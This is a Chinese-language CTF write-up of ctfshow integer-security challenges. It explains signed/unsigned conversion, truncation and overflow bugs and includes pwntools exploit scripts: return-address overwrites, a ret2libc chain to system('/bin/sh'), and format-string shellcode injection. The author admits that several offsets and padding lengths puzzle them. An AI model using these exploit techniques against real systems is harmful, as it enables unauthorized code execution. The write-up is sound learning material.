整数安全

pwn101(整数转换、整数比较)

没啥东西,main函数要求输入对应值,直接交互就好了

int __fastcall main(int argc, const char **argv, const char **envp)
{
 unsigned int v4; // [rsp+0h] [rbp-10h] BYREF
 int v5; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v6; // [rsp+8h] [rbp-8h]

 v6 = __readfsqword(0x28u);
 init(argc, argv, envp);
 logo();
 puts("Maybe these help you:");
 useful();
 v4 = 0x80000000;
 v5 = 0x7FFFFFFF;
 printf("Enter two integers: ");
 if ( (unsigned int)__isoc99_scanf("%d %d", &v4, &v5) == 2 )
{
   if ( v4 == 0x80000000 && v5 == 0x7FFFFFFF )
     gift();
   else
     printf("upover = %d, downover = %d\n", v4, v5);
   return 0;
}
 else
{
   puts("Error: Invalid input. Please enter two integers.");
   return 1;
}
}

v4是个无符号数,v5是有符号数

在x86-64系统上,整数类型(int和unsigned int)的大小都是4字节,并且它们的存储方式都是二进制补码。

因此,当我们使用%d读取时,它会将输入的字符串解释为一个有符号整数,并将该整数的位模式直接存储到v4的内存中(因为v4的地址被传递给了scanf,而scanf不知道v4是无符号的,它只是按照%d的规则写入一个32位有符号整数)

所以需要注意的点就是%d这种可以完成有符号和无符号数的隐蔽转换

该题目中,用有符号还是无符号效果一样,0x80000000 = -2147483648/2147483648都能用

16进制转值为10进制,nc交互进入gift函数

gift里面有cat /flag

直接拿到

pwn102(整数转换、整数比较)

更没东西,main函数要V4值为-1.交互输入进去的就是V4,写个-1进去就拿到flag

后日谈: 实际上还是有点说法的,通过%u也造成了有符号和无符号数的隐蔽转换

这里虽然输入-1也行

但是-1是一个有符号数

通过%u才变成的无符号数

如图,当用%d的时候,会正常被认为是-1

但是一旦换成%u,-1会被解析为4294967295

所以,输入-1才能满足if判断

当然如果直接输入4294967295,那么经过%u它不会改变

也能直接过if判断

pwn103(整数比较、符号错误(有符号读取,无符号使用))

关键内容都在ctfshow函数中

ctfshow函数代码逻辑分析

  1. 输入长度:printf(“Enter the length of data (up to 80): “);
    __isoc99_scanf(“%d”, &v1);这里要求用户输入数据的长度,并存储在变量v1中。如果输入的v1大于80,程序会直接退出:if ( v1 <= 80 )
    {
      …
    }
    else
    {
       puts(“Invalid input! No cookie for you!”);
    }因此,输入的长度必须小于或等于80,才能继续执行。
  2. 输入数据:printf(“Enter the data: “);
    __isoc99_scanf(” %[^\n]”, dest);这里要求用户输入数据,并存储在dest数组中。dest数组的大小是88字节,因此理论上可以存储最多87个字符(加上一个字符串结束符\0)。
  3. 内存拷贝:memcpy(dest, src, v1);这里将src的内容拷贝到dest中,拷贝的长度是v1。然而,src被初始化为0LL,即空指针。如果v1大于0,memcpy会尝试从空指针拷贝数据,这会导致未定义行为(如程序崩溃)。但如果v1为0,memcpy不会执行任何操作,因为拷贝长度为0。
  4. 条件判断:if ( (unsigned __int64)dest > 0x1BF52 )
       gift();这里判断dest的地址是否大于0x1BF52。由于dest是一个局部变量,其地址通常在栈上,且地址值通常远大于0x1BF52,因此这个条件很容易满足。

输入两次0的逻辑

  1. 第一次输入0
    • 输入长度v1为0。
    • 程序会要求输入数据,但因为v1为0,memcpy不会执行任何操作。
    • dest数组的内容不会被修改,仍然是未初始化的。
  2. 第二次输入0
    • 再次输入,控制的是dest
    • v1仍然为0,memcpy仍然不会执行任何操作。
  3. 条件判断
    • 由于dest的地址(在栈上),通常远大于0x1BF52,条件((unsigned __int64)dest > 0x1BF52)成立。
    • 因此,无论第二次输入什么数,程序都会调用gift()函数。

漏洞总结

这个漏洞的根本原因是:

  • src被初始化为0LL,但没有检查src是否为有效指针。
  • v1为0时,memcpy不会执行任何操作,但程序没有对这种情况进行特殊处理。
  • 条件((unsigned __int64)dest > 0x1BF52)过于宽松,容易被满足。

因此,通过连续输入两次0,可以绕过memcpy的潜在崩溃,并满足条件调用gift()函数。

所以进入gift函数即可拿到flag

pwn104(整数溢出、整数转换)

没啥好说的,很标准的整数溢出然后依靠已写的that函数进行提权

第一次传入,传递的值是读取buf的长度,写长点就行了,无所谓的

你问我整数转换在哪?size_t nbytes被程序用%d读取,size_t 是个无符号整数类型,所以转换有了()

from pwn import *
p = remote("pwn.challenge.ctf.show",28302)
payload = b'a'*(0xe+8) + p64(0x000000000040078D)
p.sendline(b'21321')
p.sendline(payload)
p.interactive()

pwn105(整数截断)

存在提权函数,拿到地址

dest溢出一下,0x11+4

v3是int 8

实际上就是二进制取八位的值

也就是说,能取的最大值是 1111 1111 = 255

所以要想绕过if条件判断

就需要255+1(这个1是因为还需要算上0这个值,共256个值)+ 4 ~~~264

ljust方法填充一下垃圾数据就行了

char *__cdecl ctfshow(char *s)
{
 char dest[8]; // [esp+7h] [ebp-11h] BYREF
 unsigned __int8 v3; // [esp+Fh] [ebp-9h]

 v3 = strlen(s);
 if ( v3 <= 3u || v3 > 8u )
{
   puts("Authentication failed!");
   exit(-1);
}
 printf("Authentication successful, Hello %s", s);
 return strcpy(dest, s);
}

exp:

from pwn import *
p = remote("pwn.challenge.ctf.show",28175)
shell = 0x0804870E
payload = b'a'*(0x11+4) + p32(shell)
payload = payload.ljust(260,b'a')
p.sendline(payload)
p.interactive()

pwn106(整数截断)

和105巨像

根据实际交互效果搞上ru正确交互就好了

from pwn import *
# context.log_level = 'debug'
p = remote("pwn.challenge.ctf.show",28231)
shell = 0x08048919
payload = b'a'*(0x14+4) + p32(shell)
payload = payload.ljust(260,b'a')
# cat_flag = shell
# payload = cyclic(0x14 + 4) + p32(cat_flag) + b'a' * 234
p.recvuntil(b'choice:')
p.sendline(b'1')
p.recvuntil(b'username:')
p.sendline(b' ')
p.recv()
p.sendline(payload)

p.interactive()

(还有些许问题,为什么被注释掉的payload也能用,为什么后补齐的垃圾数据长度是234,不就应该是256+3~~~256+7吗,奇奇怪怪的)

pwn107(ret2libc、整数溢出、整数转换)

主函数没什么好说的

跟进

int show()
{
 char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
 int v2; // [esp+3Ch] [ebp-Ch]

 printf("How many bytes do you want me to read? ");
 getch(nptr, 4);
 v2 = atoi(nptr);
 if ( v2 > 32 )
   return printf("No! That size (%d) is too large!\n", v2);
 printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
 getch(nptr, v2);
 return printf("You said: %s\n", nptr);
}

两个getch,两次输入

int __cdecl getch(int a1, unsigned int a2)
{
 unsigned int v2; // eax
 int result; // eax
 char v4; // [esp+Bh] [ebp-Dh]
 unsigned int i; // [esp+Ch] [ebp-Ch]

 for ( i = 0; ; ++i )
{
   v4 = getchar();
   if ( !v4 || v4 == 10 || i >= a2 )
     break;
   v2 = i;
   *(_BYTE *)(v2 + a1) = v4;
}
 result = a1 + i;
 *(_BYTE *)(a1 + i) = 0;
 return result;
}

跟进getch函数发现这个实际上就是个类gets函数

a2就是拿来限定读取长度的

其他的没什么好说的

回到show函数

第一次,getch(nptr,4)

也就是nptr作为输入字符,读取长度为4

想要不退出show函数,需要过条件判断,条件判断的是v2不能大于32

回到getch,输入的字符被保存为v4

然后v4会被atio函数强制转换为整数

然后v4参与if条件判断

那现在考虑怎么过这个判断

第一是要比32小,show函数才能继续

第二是要在第二次输入,也就是getch(nptr,v4)的时候造成一个存在栈溢出的漏洞点出来

实际上考虑一下传入-1,就可以发现它这个值很有用

1、第一次传入后,char nptr = “-1”

2、v2 = atoi(nptr) 这里atoi将字符转变为整数,而-1就能以整数的形式辅助过if条件判断

3、第二次getch函数,v2作为的是getch的第二个参数,v2在show函数中的数据类型是有符号整数,但是进入getch后,身为第二个参数的它被定义为无符号整数,而-1被解释为无符号整数的话,参考pwn102的图片,会被解释为一个极大的整数

那么就导致了,getch(nptr,v2) <=====>getch(nptr,4294967295)

前面也说了,getch函数基本上可以看作是一个稍安全的gets函数,但是这里哪怕限定了读取长度,仍然通过整数转换导致了漏洞产生,形成栈溢出

然后就是很基础的ret2libc的构造了

没看到puts,那printf顶上就好了

泄露一个printf@libc 不太够用,多泄漏一个__libc_start_main就好了

然后找到对应的libc文件

然后就是很常规很常规的东西了

需要填充的垃圾数据长度为nptr这个缓冲区的长度,也就是0x2c + 4

exp:

from pwn import *
context.log_level = 'debug'
#io = process('./pwn107')
io = remote('pwn.challenge.ctf.show',28281)
elf = ELF('./pwn107')
libc = ELF('./libc6-i386_2.27-3ubuntu1_amd64.so')
main = elf.symbols['main']
printf_plt = elf.plt['printf']
printf_got = elf.got['__libc_start_main']
#printf_got = elf.got['printf']
io.recvuntil('read?')
io.sendline('-1')
io.recvuntil('\n')
payload = cyclic(0x2c+4) + p32(printf_plt) + p32(main) + p32(printf_got)
io.sendline(payload)
io.recvuntil('\n')
printf = u32(io.recv(4))
print(hex(printf))
libc_base = printf - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search("/bin/sh"))
io.recvuntil('read?')
io.sendline('-1')
io.recvuntil('\n')
payload = cyclic(0x2c+4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.interactive()

(密码的,远程本地环境不一致,拿远程的libc版本为准,我就说怎么可能泄露的libc不对)

pwn108

没看懂,日后再说

pwn109

没玩明白,为什么ret = stack + 0x41C?

不该是0x40C吗?

其他的倒是好懂

选择选项1,这会调用sub_8A4函数(在exp中对应io.sendlineafter('Quit!!!\n','1'))。

这个函数会打印出buf的地址(通过printf("%x\n", buf)),然后读取用户输入到buf中。

因此,io.recvuntil('\n')接收到的是buf的地址(十六进制字符串),然后转换为整数,赋值给stack

所以,stack变量就是buf的起始地址。

payload = fmtstr_payload(16, {ret:stack})

这是利用pwntools的fmtstr_payload函数来生成一个格式化字符串,用于将ret地址处的值修改为stack(即buf的地址

生成payload后,将其通过选项1(Input something)写入buf。

然后选择选项2(Hang out)触发格式化字符串漏洞(调用fmt(buf)),从而将返回地址修改为buf地址。

再次选择选项1(Input something),这次我们写入shellcode(asm(shellcraft.sh()))。这次写入的shellcode会覆盖之前写入的payload,但是因为我们已经将返回地址修改为buf的起始地址,而这次写入的shellcode也是从buf起始地址开始写入,所以当main函数返回时,就会执行这段shellcode。

最后选择选项3(Quit)退出main函数,触发返回,执行shellcode

from pwn import *
context.log_level = 'debug'
#io = process('./pwn109')
io = remote('pwn.challenge.ctf.show',28238)
io.sendlineafter('Quit!!!\n', '1')
stack = int(io.recvuntil('\n'), 16)
ret = stack + 0x41c
payload = fmtstr_payload(16, {ret: stack})
io.sendline(payload)
io.sendlineafter('Quit!!!\n', '2')
io.sendlineafter('Quit!!!\n', '1')
io.sendline(asm(shellcraft.sh()))
io.sendlineafter('Quit!!!\n', '3')
io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇